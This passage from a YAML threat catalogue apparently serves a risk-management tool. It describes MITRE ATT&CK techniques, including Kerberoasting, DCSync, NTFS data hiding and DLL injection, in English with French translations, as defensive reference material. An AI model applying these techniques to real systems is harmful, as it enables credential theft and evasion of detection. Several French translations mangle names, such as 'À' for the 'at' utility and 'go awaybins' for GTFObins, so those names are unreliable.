          chiffrement \xE0 partir de types sp\xE9cifiques de valeurs dans un environnement\
          \ informatique donn\xE9.(Citation : EK Clueless Agents)\n\nLes valeurs peuvent\
          \ \xEAtre d\xE9riv\xE9es d'\xE9l\xE9ments sp\xE9cifiques \xE0 la cible et\
          \ utilis\xE9es pour g\xE9n\xE9rer une cl\xE9 de d\xE9cryptage pour une charge\
          \ utile crypt\xE9e. Les valeurs sp\xE9cifiques \xE0 la cible peuvent \xEA\
          tre d\xE9riv\xE9es de partages de r\xE9seau sp\xE9cifiques, de dispositifs\
          \ physiques, de versions de logiciels, de fichiers, de domaines AD joints,\
          \ de l'heure du syst\xE8me et d'adresses IP locales/externes. (Citation\
          \ : Kaspersky Gauss Whitepaper)(Citation : Proofpoint Router Malvertising)(Citation\
          \ : EK Impeding Malware Analysis)(Citation : Environmental Keyed HTA)(Citation\
          \ : Ebowla : Genetic Malware) En g\xE9n\xE9rant les cl\xE9s de d\xE9cryptage\
          \ \xE0 partir de valeurs environnementales sp\xE9cifiques \xE0 la cible,\
          \ l'encodage environnemental peut rendre difficile la d\xE9tection en bac\
          \ \xE0 sable, la d\xE9tection antivirus, l'obtention d'informations par\
          \ la foule et la r\xE9tro-ing\xE9nierie. (Citation : Kaspersky Gauss Whitepaper)\
          \ (Citation : Ebowla : Genetic Malware) Ces difficult\xE9s peuvent ralentir\
          \ le processus de r\xE9ponse aux incidents et aider les adversaires \xE0\
          \ dissimuler leurs tactiques, techniques et proc\xE9dures (TTP).\n\nComme\
          \ pour les [fichiers ou informations obscurcis] (https://attack.mitre.org/techniques/T1027),\
          \ les adversaires peuvent utiliser la cl\xE9 environnementale pour prot\xE9\
          ger leurs TTP et \xE9chapper \xE0 la d\xE9tection. La cl\xE9 environnementale\
          \ peut \xEAtre utilis\xE9e pour livrer \xE0 la cible une charge utile chiffr\xE9\
          e qui utilisera des valeurs sp\xE9cifiques \xE0 la cible pour d\xE9chiffrer\
          \ la charge utile avant son ex\xE9cution. (Citation : Kaspersky Gauss Whitepaper)(Citation\
          \ : EK Impeding Malware Analysis)(Citation : Environmental Keyed HTA)(Citation\
          \ : Ebowla : Genetic Malware)(Citation : Demiguise Guardrail Router Logo)\
          \ En utilisant des valeurs sp\xE9cifiques \xE0 la cible pour d\xE9chiffrer\
          \ la charge utile, l'adversaire peut \xE9viter d'emballer la cl\xE9 de d\xE9\
          chiffrement avec la charge utile ou de l'envoyer sur une connexion r\xE9\
          seau potentiellement surveill\xE9e. En fonction de la technique de collecte\
          \ des valeurs sp\xE9cifiques \xE0 la cible, l'ing\xE9nierie inverse de la\
          \ charge utile chiffr\xE9e peut \xEAtre exceptionnellement difficile. (Citation\
          \ : Kaspersky Gauss Whitepaper) Cela peut \xEAtre utilis\xE9 pour emp\xEA\
          cher l'exposition de capacit\xE9s dans des environnements qui ne sont pas\
          \ destin\xE9s \xE0 \xEAtre compromis ou exploit\xE9s \xE0 l'int\xE9rieur\
          \ de ceux-ci.\n\nComme d'autres [garde-fous d'ex\xE9cution] (https://attack.mitre.org/techniques/T1480),\
          \ le verrouillage de l'environnement peut \xEAtre utilis\xE9 pour emp\xEA\
          cher l'exposition de capacit\xE9s dans des environnements qui ne sont pas\
          \ destin\xE9s \xE0 \xEAtre compromis ou exploit\xE9s. Cette activit\xE9\
          \ se distingue de la [virtualisation/\xE9vasion en bac \xE0 sable] (https://attack.mitre.org/techniques/T1497).\
          \ Alors que l'utilisation de la [virtualisation/\xE9vasion de bac \xE0 sable]\
          \ (https://attack.mitre.org/techniques/T1497) peut impliquer la v\xE9rification\
          \ de valeurs de bac \xE0 sable connues et la poursuite de l'ex\xE9cution\
          \ uniquement s'il n'y a pas de correspondance, l'utilisation de la cl\xE9\
          \ environnementale impliquera la v\xE9rification d'une valeur sp\xE9cifique\
          \ \xE0 la cible attendue qui doit correspondre pour que le d\xE9cryptage\
          \ et l'ex\xE9cution ult\xE9rieure soient couronn\xE9s de succ\xE8s.\nhttps://attack.mitre.org/techniques/T1480/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1008
    ref_id: T1008
    name: Fallback Channels
    description: 'Adversaries may use fallback or alternate communication channels
      if the primary channel is compromised or inaccessible in order to maintain reliable
      command and control and to avoid data transfer thresholds.

      https://attack.mitre.org/techniques/T1008'
    translations:
      fr:
        name: Canaux de secours
        description: "Les adversaires peuvent utiliser des canaux de communication\
          \ de secours ou alternatifs si le canal principal est compromis ou inaccessible\
          \ afin de maintenir une commande et un contr\xF4le fiables et d\u2019\xE9\
          viter les seuils de transfert de donn\xE9es.\nhttps://attack.mitre.org/techniques/T1008"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.004
    ref_id: T1564.004
    name: NTFS File Attributes
    description: 'Adversaries may use NTFS file attributes to hide their malicious
      data in order to evade detection. Every New Technology File System (NTFS) formatted
      partition contains a Master File Table (MFT) that maintains a record for every
      file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017)
      Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes
      Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data
      Streams (ADSs) when more than one Data attribute is present], that can be used
      to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based
      Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July
      2015) (Citation: Microsoft ADS Mar 2014)


      Adversaries may store malicious data or binaries in file attribute metadata
      instead of directly in files. This may be done to evade some defenses, such
      as static indicator scanning tools and anti-virus. (Citation: Journey into IR
      ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

      https://attack.mitre.org/techniques/T1564/004'
    translations:
      fr:
        name: Attributs de fichier NTFS
        description: "Les adversaires peuvent utiliser des attributs de fichier NTFS\
          \ pour masquer leurs donn\xE9es malveillantes afin d\u2019\xE9chapper \xE0\
          \ la d\xE9tection. Chaque partition format\xE9e NTFS (New Technology File\
          \ System) contient une table de fichiers ma\xEEtre (MFT) qui conserve un\
          \ enregistrement pour chaque fichier/r\xE9pertoire de la partition. (Citation\
          \ : SpectorOps bas\xE9 sur l\u2019h\xF4te, juillet 2017) Les entr\xE9es\
          \ MFT contiennent des attributs de fichier (Citation : Microsoft NTFS File\
          \ Attributes Aug 2010) tels que les attributs \xE9tendus (EA) et les donn\xE9\
          es [connus sous le nom de flux de donn\xE9es alternatifs (ADS) lorsque plusieurs\
          \ attributs de donn\xE9es sont pr\xE9sents], qui peuvent \xEAtre utilis\xE9\
          s pour stocker des donn\xE9es arbitraires (et m\xEAme des fichiers complets).\
          \ (Citation : SpectorOps bas\xE9 sur l\u2019h\xF4te, juillet 2017) (Citation\
          \ : Microsoft File Streams) (Citation : MalwareBytes ADS juillet 2015) (Citation\
          \ : Microsoft ADS mars 2014)\n\nLes adversaires peuvent stocker des donn\xE9\
          es malveillantes ou des fichiers binaires dans les m\xE9tadonn\xE9es d\u2019\
          attributs de fichier plut\xF4t que directement dans les fichiers. Cela peut\
          \ \xEAtre fait pour \xE9chapper \xE0 certaines d\xE9fenses, telles que les\
          \ outils d\u2019analyse des indicateurs statiques et les antivirus. (Citation\
          \ : Voyage dans IR ZeroAccess NTFS EA) (Citation : MalwareBytes ADS juillet\
          \ 2015)\nhttps://attack.mitre.org/techniques/T1564/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1558.003
    ref_id: T1558.003
    name: Kerberoasting
    description: "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT)\
      \ or sniff network traffic to obtain a ticket-granting service (TGS) ticket\
      \ that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation:\
      \ Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec\
      \ 2015) \n\nService principal names (SPNs) are used to uniquely identify each\
      \ instance of a Windows service. To enable authentication, Kerberos requires\
      \ that SPNs be associated with at least one service logon account (an account\
      \ specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting\
      \ Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation:\
      \ SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\
      \nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request\
      \ one or more Kerberos ticket-granting service (TGS) service tickets for any\
      \ SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation:\
      \ AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted\
      \ with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the\
      \ service account associated with the SPN is used as the private key and is\
      \ thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110)\
      \ attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking\
      \ Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation:\
      \ Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using\
      \ service tickets captured from network traffic.(Citation: AdSecurity Cracking\
      \ Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003),\
      \ [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral\
      \ Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:\
      \ SANS Attacking Kerberos Nov 2014)\nhttps://attack.mitre.org/techniques/T1558/003"
    translations:
      fr:
        name: Kerberoasting
        description: "Les adversaires peuvent abuser d\u2019un ticket d\u2019octroi\
          \ de tickets Kerberos (TGT) valide ou renifler le trafic r\xE9seau pour\
          \ obtenir un ticket de service d\u2019octroi de tickets (TGS) qui peut \xEA\
          tre vuln\xE9rable \xE0 la [force brute](https://attack.mitre.org/techniques/T1110).\
          \ (Citation : Empire InvokeKerberoast octobre 2016)(Citation : AdSecurity\
          \ Cracking Kerberos d\xE9cembre 2015) \n\nLes noms principaux de service\
          \ (SPN) sont utilis\xE9s pour identifier de mani\xE8re unique chaque instance\
          \ d\u2019un service Windows. Pour activer l\u2019authentification, Kerberos\
          \ exige que les SPN soient associ\xE9s \xE0 au moins un compte d\u2019ouverture\
          \ de session de service (un compte sp\xE9cifiquement charg\xE9 d\u2019ex\xE9\
          cuter un service (Citation : Microsoft Detecting Kerberoasting Feb 2018)).\
          \ (Citation : Microsoft SPN)(Citation : Microsoft SetSPN)(Citation : SANS\
          \ attaquant Kerberos novembre 2014)(Citation : Harmj0y Kerberoast novembre\
          \ 2016)\n\nLes adversaires disposant d\u2019un ticket d\u2019octroi de tickets\
          \ Kerberos (TGT) valide peuvent demander un ou plusieurs tickets de service\
          \ TGS (Ticket granting service) Kerberos pour n\u2019importe quel SPN aupr\xE8\
          s d\u2019un contr\xF4leur de domaine (DC). (Citation : Empire InvokeKerberoast\
          \ octobre 2016)(Citation : AdSecurity Cracking Kerberos d\xE9cembre 2015)\
          \ Des parties de ces tickets peuvent \xEAtre chiffr\xE9es \xE0 l\u2019aide\
          \ de l\u2019algorithme RC4, ce qui signifie que le hachage Kerberos 5 TGS-REP\
          \ etype 23 du compte de service associ\xE9 au SPN est utilis\xE9 comme cl\xE9\
          \ priv\xE9e et est donc vuln\xE9rable aux attaques hors ligne [Brute Force](https://attack.mitre.org/techniques/T1110)\
          \ qui peuvent exposer des informations d\u2019identification en texte clair.\
          \ (Citation : AdSecurity Cracking Kerberos d\xE9cembre 2015)(Citation :\
          \ Empire InvokeKerberoast octobre 2016) (Citation : Harmj0y Kerberoast novembre\
          \ 2016)\n\nCe m\xEAme comportement peut \xEAtre ex\xE9cut\xE9 \xE0 l\u2019\
          aide de tickets de service captur\xE9s \xE0 partir du trafic r\xE9seau.\
          \ (Citation : AdSecurity Cracking Kerberos d\xE9cembre 2015)\n\nLes hachages\
          \ pirat\xE9s peuvent activer [Persistance](https://attack.mitre.org/tactics/TA0003),\
          \ [\xC9l\xE9vation de privil\xE8ges](https://attack.mitre.org/tactics/TA0004)\
          \ et [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008) via\
          \ l\u2019acc\xE8s \xE0 [Comptes valides](https://attack.mitre.org/techniques/T1078).\
          \ (Citation : SANS attaquant Kerberos novembre 2014)\nhttps://attack.mitre.org/techniques/T1558/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1003.006
    ref_id: T1003.006
    name: DCSync
    description: 'Adversaries may attempt to access credentials and other sensitive
      information by abusing a Windows Domain Controller''s application programming
      interface (API)(Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft GetNCCChanges)
      (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) to simulate the replication
      process from a remote domain controller using a technique called DCSync.


      Members of the Administrators, Domain Admins, and Enterprise Admin groups or
      computer accounts on the domain controller are able to run DCSync to pull password
      data(Citation: ADSecurity Mimikatz DCSync) from Active Directory, which may
      include current and historical hashes of potentially useful accounts such as
      KRBTGT and Administrators. The hashes can then in turn be used to create a [Golden
      Ticket](https://attack.mitre.org/techniques/T1558/001) for use in [Pass the
      Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation: Harmj0y Mimikatz
      and DCSync) or change an account''s password as noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098).(Citation:
      InsiderThreat ChangeNTLM July 2017)


      DCSync functionality has been included in the "lsadump" module in [Mimikatz](https://attack.mitre.org/software/S0002).(Citation:
      GitHub Mimikatz lsadump Module) Lsadump also includes NetSync, which performs
      DCSync over a legacy replication protocol.(Citation: Microsoft NRPC Dec 2017)

      https://attack.mitre.org/techniques/T1003/006'
    translations:
      fr:
        name: DCSync
        description: "Les adversaires peuvent tenter d\u2019acc\xE9der aux informations\
          \ d\u2019identification et \xE0 d\u2019autres informations sensibles en\
          \ abusant de l\u2019interface de programmation d\u2019application (API)\
          \ d\u2019un contr\xF4leur de domaine Windows (Citation : Microsoft DRSR\
          \ d\xE9c. 2017) (R\xE9f\xE9rence : Microsoft GetNCCChanges) (R\xE9f\xE9\
          rence : Samba DRSUAPI) (R\xE9f\xE9rence : Wine API samlib.dll) pour simuler\
          \ le processus de r\xE9plication \xE0 partir d\u2019un contr\xF4leur de\
          \ domaine distant \xE0 l\u2019aide d\u2019une technique appel\xE9e DCSync.\n\
          \nLes membres des groupes Administrateurs, Administrateurs de domaine et\
          \ Administrateur d\u2019entreprise ou des comptes d\u2019ordinateur sur\
          \ le contr\xF4leur de domaine peuvent ex\xE9cuter DCSync pour extraire des\
          \ donn\xE9es de mot de passe (Citation : ADSecurity Mimikatz DCSync) \xE0\
          \ partir d\u2019Active Directory, qui peuvent inclure des hachages actuels\
          \ et historiques de comptes potentiellement utiles tels que KRBTGT et Administrateurs.\
          \ Les hachages peuvent ensuite \xEAtre utilis\xE9s pour cr\xE9er un [Golden\
          \ Ticket](https://attack.mitre.org/techniques/T1558/001) \xE0 utiliser dans\
          \ [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003)(Citation\
          \ : Harmj0y Mimikatz et DCSync) ou changer le mot de passe d\u2019un compte\
          \ comme indiqu\xE9 dans [Manipulation de compte](https://attack.mitre.org/techniques/T1098).\
          \ (Citation : InsiderThreat ChangeNTLM juillet 2017)\n\nLa fonctionnalit\xE9\
          \ DCSync a \xE9t\xE9 incluse dans le module \xAB\_lsadump\_\xBB dans [Mimikatz](https://attack.mitre.org/software/S0002).\
          \ (Citation : GitHub Mimikatz lsadump Module) Lsadump inclut \xE9galement\
          \ NetSync, qui effectue DCSync sur un protocole de r\xE9plication h\xE9\
          rit\xE9. (Citation : Microsoft NRPC d\xE9cembre 2017)\nhttps://attack.mitre.org/techniques/T1003/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1124
    ref_id: T1124
    name: System Time Discovery
    description: "An adversary may gather the system time and/or time zone settings\
      \ from a local or remote system. The system time is set and stored by services,\
      \ such as the Windows Time Service on Windows or <code>systemsetup</code> on\
      \ macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation:\
      \ systemsetup mac time) These time settings may also be synchronized between\
      \ systems and services in an enterprise network, typically accomplished with\
      \ a network time server within a domain.(Citation: Mac Time Sync)(Citation:\
      \ linux system time)\n\nSystem time information may be gathered in a number\
      \ of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows\
      \ by performing <code>net time \\\\hostname</code> to gather the system time\
      \ on a remote system. The victim's time zone may also be inferred from the current\
      \ system time or gathered by using <code>w32tm /tz</code>.(Citation: Technet\
      \ Windows Time Service) In addition, adversaries can discover device uptime\
      \ through functions such as <code>GetTickCount()</code> to determine how long\
      \ it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion)\n\
      \nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
      \ commands such as `show clock detail` can be used to see the current time configuration.(Citation:\
      \ show_clock_detail_cisco_cmd)\n\nIn addition, system calls \u2013 such as <code>time()</code>\
      \ \u2013 have been used to collect the current time on Linux devices.(Citation:\
      \ MAGNET GOBLIN) On macOS systems, adversaries may use commands such as <code>systemsetup\
      \ -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current\
      \ time zone information or current date and time.(Citation: System Information\
      \ Discovery Technique)(Citation: ESET DazzleSpy Jan 2022)\n\nThis information\
      \ could be useful for performing other techniques, such as executing a file\
      \ with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation:\
      \ RSA EU12 They're Inside), or to discover locality information based on time\
      \ zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)).\
      \ Adversaries may also use knowledge of system time as part of a time bomb,\
      \ or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)\n\
      https://attack.mitre.org/techniques/T1124"
    translations:
      fr:
        name: "D\xE9couverte de l\u2019heure syst\xE8me"
        description: "Un adversaire peut collecter les param\xE8tres d\u2019heure\
          \ et/ou de fuseau horaire du syst\xE8me \xE0 partir d\u2019un syst\xE8me\
          \ local ou distant. L\u2019heure syst\xE8me est d\xE9finie et stock\xE9\
          e par des services, tels que le service de temps Windows sur Windows ou\
          \ <code>systemsetup</code> sur macOS. (citation : heure syst\xE8me MSDN)(Citation\
          \ : Technet Windows Time Service)(Citation : systemsetup mac time) Ces param\xE8\
          tres de temps peuvent \xE9galement \xEAtre synchronis\xE9s entre les syst\xE8\
          mes et les services d\u2019un r\xE9seau d\u2019entreprise, g\xE9n\xE9ralement\
          \ avec un serveur de temps r\xE9seau au sein d\u2019un domaine. (Citation\
          \ : Synchronisation de l\u2019heure Mac)(Citation : heure syst\xE8me linux)\n\
          \nLes informations de temps syst\xE8me peuvent \xEAtre collect\xE9es de\
          \ plusieurs fa\xE7ons, par exemple avec [Net](https://attack.mitre.org/software/S0039)\
          \ sous Windows en effectuant net <code>time \\\\hostname</code> pour collecter\
          \ le temps syst\xE8me sur un syst\xE8me distant. Le fuseau horaire de la\
          \ victime peut \xE9galement \xEAtre d\xE9duit de l\u2019heure actuelle du\
          \ syst\xE8me ou collect\xE9 \xE0 l\u2019aide de <code>w32tm /tz</code>.\
          \ (Citation : Technet Windows Time Service) En outre, les adversaires peuvent\
          \ d\xE9couvrir le temps de fonctionnement de l\u2019appareil gr\xE2ce \xE0\
          \ des fonctions telles que <code>GetTickCount()</code> pour d\xE9terminer\
          \ combien de temps s\u2019est \xE9coul\xE9 depuis le d\xE9marrage du syst\xE8\
          me. (Citation : Virtualisation/\xC9vasion du bac \xE0 sable)\n\nSur les\
          \ p\xE9riph\xE9riques r\xE9seau, les commandes [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ telles que 'show clock detail' peuvent \xEAtre utilis\xE9es pour voir\
          \ la configuration actuelle de l\u2019heure. (R\xE9f\xE9rence : show_clock_detail_cisco_cmd)\n\
          \nDe plus, les appels syst\xE8me - tels que <code>time()</code> - ont \xE9\
          t\xE9 utilis\xE9s pour collecter l\u2019heure actuelle sur les appareils\
          \ Linux. (Citation : GOBELIN MAGN\xC9TIQUE) Sur les syst\xE8mes macOS, les\
          \ adversaires peuvent utiliser des commandes telles que <code>systemsetup\
          \ -gettimezone</code> ou <code>timeIntervalSinceNow</code> pour recueillir\
          \ des informations sur le fuseau horaire actuel ou la date et l\u2019heure\
          \ actuelles. (Citation : Technique de d\xE9couverte d\u2019informations\
          \ syst\xE8me)(Citation : ESET DazzleSpy janvier 2022)\n\nCes informations\
          \ peuvent \xEAtre utiles pour ex\xE9cuter d\u2019autres techniques, telles\
          \ que l\u2019ex\xE9cution d\u2019un fichier avec une [T\xE2che planifi\xE9\
          e](https://attack.mitre.org/techniques/T1053)(Citation : RSA EU12 Ils sont\
          \ \xE0 l\u2019int\xE9rieur), ou pour d\xE9couvrir des informations de localit\xE9\
          \ bas\xE9es sur le fuseau horaire afin d\u2019aider au ciblage des victimes\
          \ (c\u2019est-\xE0-dire [D\xE9couverte de l\u2019emplacement du syst\xE8\
          me](https://attack.mitre.org/techniques/T1614)). Les adversaires peuvent\
          \ \xE9galement utiliser la connaissance du temps syst\xE8me dans le cadre\
          \ d\u2019une bombe \xE0 retardement, ou retarder l\u2019ex\xE9cution jusqu\u2019\
          \xE0 une date ou une heure sp\xE9cifi\xE9e. (Citation : AnyRun TimeBomb)\n\
          https://attack.mitre.org/techniques/T1124"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1053.002
    ref_id: T1053.002
    name: At
    description: 'Adversaries may abuse the [at](https://attack.mitre.org/software/S0110)
      utility to perform task scheduling for initial or recurring execution of malicious
      code. The [at](https://attack.mitre.org/software/S0110) utility exists as an
      executable within Windows, Linux, and macOS for scheduling tasks at a specified
      time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)''s
      [schtasks](https://attack.mitre.org/software/S0111) in Windows environments,
      using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler
      service be running, and the user to be logged on as a member of the local Administrators
      group. In addition to explicitly running the `at` command, adversaries may also
      schedule a task with [at](https://attack.mitre.org/software/S0110) by directly
      leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047)
      `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)


      On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked
      by the superuser as well as any users added to the <code>at.allow</code> file.
      If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file
      is checked. Every username not listed in <code>at.deny</code> is allowed to
      invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code>
      exists and is empty, global use of [at](https://attack.mitre.org/software/S0110)
      is permitted. If neither file exists (which is often the baseline) only the
      superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation:
      Linux at)


      Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute
      programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003).
      [at](https://attack.mitre.org/software/S0110) can also be abused to conduct
      remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral
      Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under
      the context of a specified account (such as SYSTEM).


      In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110)
      to break out of restricted environments by using a task to spawn an interactive
      system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110)
      may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004)
      if the binary is allowed to run as superuser via <code>sudo</code>.(Citation:
      GTFObins at)

      https://attack.mitre.org/techniques/T1053/002'
    translations:
      fr:
        name: "\xC0"
        description: "Les adversaires peuvent abuser de l\u2019utilitaire [at](https://attack.mitre.org/software/S0110)\
          \ pour effectuer la planification de t\xE2ches en vue de l\u2019ex\xE9cution\
          \ initiale ou r\xE9currente de code malveillant. L\u2019utilitaire [at](https://attack.mitre.org/software/S0110)\
          \ existe en tant qu\u2019ex\xE9cutable dans Windows, Linux et macOS pour\
          \ planifier des t\xE2ches \xE0 une heure et \xE0 une date sp\xE9cifi\xE9\
          es. Bien qu\u2019il soit d\xE9conseill\xE9 en faveur des [schtasks](https://attack.mitre.org/software/S0111)\
          \ de [T\xE2che planifi\xE9e](https://attack.mitre.org/techniques/T1053/005)\
          \ dans les environnements Windows, l\u2019utilisation de [at](https://attack.mitre.org/software/S0110)\
          \ n\xE9cessite que le service Planificateur de t\xE2ches soit en cours d\u2019\
          ex\xE9cution et que l\u2019utilisateur soit connect\xE9 en tant que membre\
          \ du groupe Administrateurs local. En plus d\u2019ex\xE9cuter explicitement\
          \ la commande 'at', les adversaires peuvent \xE9galement planifier une t\xE2\
          che avec [at](https://attack.mitre.org/software/S0110) en exploitant directement\
          \ la classe WMI 'Win32_ScheduledJob' [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation\
          \ : Malicious Life par Cybereason)\n\nSous Linux et macOS, [at](https://attack.mitre.org/software/S0110)\
          \ peut \xEAtre appel\xE9 par le superutilisateur ainsi que par tous les\
          \ utilisateurs ajout\xE9s au fichier <code>at.allow</code>. Si le fichier\
          \ <code>at.allow</code> n\u2019existe pas, le fichier <code>at.deny</code>\
          \ est v\xE9rifi\xE9. Chaque nom d\u2019utilisateur non r\xE9pertori\xE9\
          \ dans <code>at.deny</code> est autoris\xE9 \xE0 invoquer [at](https://attack.mitre.org/software/S0110).\
          \ Si le <code>fichier at.deny</code> existe et est vide, l\u2019utilisation\
          \ globale de [at](https://attack.mitre.org/software/S0110) est autoris\xE9\
          e. Si aucun des deux fichiers n\u2019existe (ce qui est souvent la ligne\
          \ de base), seul le superutilisateur est autoris\xE9 \xE0 utiliser [at](https://attack.mitre.org/software/S0110).\
          \ (Citation : Linux \xE0)\n\nLes adversaires peuvent utiliser [at](https://attack.mitre.org/software/S0110)\
          \ pour ex\xE9cuter des programmes au d\xE9marrage du syst\xE8me ou de mani\xE8\
          re planifi\xE9e pour [Persistence](https://attack.mitre.org/tactics/TA0003).\
          \ [\xE0](https://attack.mitre.org/software/S0110) peuvent \xE9galement \xEA\
          tre utilis\xE9s de mani\xE8re abusive pour effectuer une [Ex\xE9cution](https://attack.mitre.org/tactics/TA0002)\
          \ \xE0 distance dans le cadre d\u2019un [Mouvement lat\xE9ral](https://attack.mitre.org/tactics/TA0008)\
          \ et/ou pour ex\xE9cuter un processus dans le cadre d\u2019un compte sp\xE9\
          cifi\xE9 (tel que SYSTEM).\n\nDans les environnements Linux, les adversaires\
          \ peuvent \xE9galement abuser de [at](https://attack.mitre.org/software/S0110)\
          \ pour sortir d\u2019environnements restreints en utilisant une t\xE2che\
          \ pour g\xE9n\xE9rer un shell syst\xE8me interactif ou pour ex\xE9cuter\
          \ des commandes syst\xE8me. De m\xEAme, [at](https://attack.mitre.org/software/S0110)\
          \ peut \xE9galement \xEAtre utilis\xE9 pour [\xC9l\xE9vation de privil\xE8\
          ges](https://attack.mitre.org/tactics/TA0004) si le binaire est autoris\xE9\
          \ \xE0 s\u2019ex\xE9cuter en tant que superutilisateur via <code>sudo</code>.\
          \ (Citation : go awaybins at)\nhttps://attack.mitre.org/techniques/T1053/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1055.001
    ref_id: T1055.001
    name: Dynamic-link Library Injection
    description: "Adversaries may inject dynamic-link libraries (DLLs) into processes\
      \ in order to evade process-based defenses as well as possibly elevate privileges.\
      \ DLL injection is a method of executing arbitrary code in the address space\
      \ of a separate live process.  \n\nDLL injection is commonly performed by writing\
      \ the path to a DLL in the virtual address space of the target process before\
      \ loading the DLL by invoking a new thread. The write can be performed with\
      \ native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>,\
      \ then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code>\
      \ API responsible for loading the DLL). (Citation: Elastic Process Injection\
      \ July 2017) \n\nVariations of this method such as reflective DLL injection\
      \ (writing a self-mapping DLL into a process) and memory module (map DLL when\
      \ writing into process) overcome the address relocation issue as well as the\
      \ additional APIs to invoke execution (since these methods load and execute\
      \ the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation:\
      \ Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July\
      \ 2017) \n\nAnother variation of this method, often referred to as Module Stomping/Overloading\
      \ or DLL Hollowing, may be leveraged to conceal injected code within a process.\
      \ This method involves loading a legitimate DLL into a remote process then manually\
      \ overwriting the module's <code>AddressOfEntryPoint</code> before starting\
      \ a new thread in the target process.(Citation: Module Stomping for Shellcode\
      \ Injection) This variation allows attackers to hide malicious injected code\
      \ by potentially backing its execution with a legitimate DLL file on disk.(Citation:\
      \ Hiding Malicious Code with Module Stomping) \n\nRunning code in the context\
      \ of another process may allow access to the process's memory, system/network\
      \ resources, and possibly elevated privileges. Execution via DLL injection may\
      \ also evade detection from security products since the execution is masked\
      \ under a legitimate process.\nhttps://attack.mitre.org/techniques/T1055/001"
    translations:
      fr:
        name: "Injection de biblioth\xE8que de liens dynamiques"
        description: "Les adversaires peuvent injecter des biblioth\xE8ques de liens\
          \ dynamiques (DLL) dans les processus afin d\u2019\xE9chapper aux d\xE9\
          fenses bas\xE9es sur les processus et \xE9ventuellement d\u2019\xE9lever\
          \ les privil\xE8ges. L\u2019injection DLL est une m\xE9thode d\u2019ex\xE9\
          cution de code arbitraire dans l\u2019espace d\u2019adressage d\u2019un\
          \ processus en direct distinct.  \n\nL\u2019injection de DLL est g\xE9n\xE9\
          ralement effectu\xE9e en \xE9crivant le chemin d\u2019acc\xE8s \xE0 une\
          \ DLL dans l\u2019espace d\u2019adressage virtuel du processus cible avant\
          \ de charger la DLL en appelant un nouveau thread. L\u2019\xE9criture peut\
          \ \xEAtre effectu\xE9e avec des appels d\u2019API Windows natifs tels que\
          \ <code>VirtualAllocEx</code> et <code>WriteProcessMemory</code>, puis appel\xE9\
          e avec <code>CreateRemoteThread</code> (qui appelle l\u2019API <code>LoadLibrary</code>\
